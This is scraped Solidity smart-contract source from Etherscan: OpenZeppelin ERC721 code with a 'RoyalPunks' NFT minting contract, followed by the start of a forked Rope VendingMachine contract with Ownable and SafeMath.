burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } pragma solidity ^0.8.0; contract Collectible2 is ERC721URIStorage { uint256 internal tokenCounter; string[] internal metadados; address internal _owner; uint256 internal _totalsupply = 3333; string public contracturi = "https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH"; constructor () ERC721 ("RoyalPunks", "RPK"){ _owner = msg.sender; tokenCounter = 1; metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/1.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/2.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/3.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/4.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/5.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/6.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/7.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/8.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/9.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/10.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/11.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/12.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/13.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/14.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/15.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/16.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/17.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/18.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/19.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/20.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/21.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/22.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/23.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/24.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/25.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/26.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/27.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/28.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/29.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/30.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/31.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/32.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/33.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/34.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/35.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/36.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/37.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/38.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/39.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/40.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/41.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/42.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/43.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/44.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/45.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/46.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/47.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/48.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/49.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/50.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/51.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/52.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/53.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/54.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/55.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/56.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/57.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/58.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/59.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/60.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/61.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/62.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/63.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/64.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/65.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/66.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/67.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/68.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/69.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/70.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/71.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/72.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/73.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/74.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/75.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/76.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/77.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/78.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/79.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/80.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/81.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/82.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/83.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/84.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/85.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/86.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/87.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/88.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/89.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/90.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/91.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/92.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/93.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/94.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/95.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/96.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/97.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/98.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/99.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/100.json"); for (uint i=0; i<metadados.length; i++) { mint(metadados[i]); } } function contractURI() public view returns (string memory) { require(isOwner(), "Ownable: caller is not the owner"); return contracturi; } function mint(string memory tokenURI) public returns (uint256) { require(isOwner(), "Ownable: caller is not the owner"); uint256 newItemId = tokenCounter; require(newItemId < _totalSupply(), "Max supply reached"); _safeMint(msg.sender, newItemId); _setTokenURI(newItemId, tokenURI); tokenCounter = tokenCounter + 1; return newItemId; } function getMetadados(uint256 index) public view returns (string memory) { require(isOwner(), "Ownable: caller is not the owner"); return metadados[index]; } function owner() public view returns (address) { return _owner; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function _totalSupply() public view returns (uint256) { require(isOwner(), "Ownable: caller is not the owner"); return _totalsupply; } function setTotalSupply(uint256 supply) public { require(isOwner(), "Ownable: caller is not the owner"); _totalsupply = supply; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-03-13 */ /** *Submitted for verification at Etherscan.io on 2020-10-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface RMU { function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external; function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); function balanceOf(address _owner, uint256 _id) external view returns (uint256); function mintBatch(address user, uint256[] calldata ids, uint256[] calldata amounts) external; function burn( address _account, uint256 _id, uint256 _amount ) external; } interface Toshicash { function totalSupply() external view returns (uint256); function totalClaimed() external view returns (uint256); function addClaimed(uint256 _amount) external; function setClaimed(uint256 _amount) external; function transfer(address receiver, uint numTokens) external returns (bool); function transferFrom(address owner, address buyer, uint numTokens) external returns (bool); function balanceOf(address owner) external view returns (uint256); function mint(address _to, uint256 _amount) external; function burn(address _account, uint256 value) external; } /** * This contract was forked from Rope's VendingMachine contract: * https://etherscan.io/address/0x4c842514fb55323acc51aa575ec4b7d1be1e0694#code * * All code attribution goes to Rope and the Rope development team: * https://rope.lol 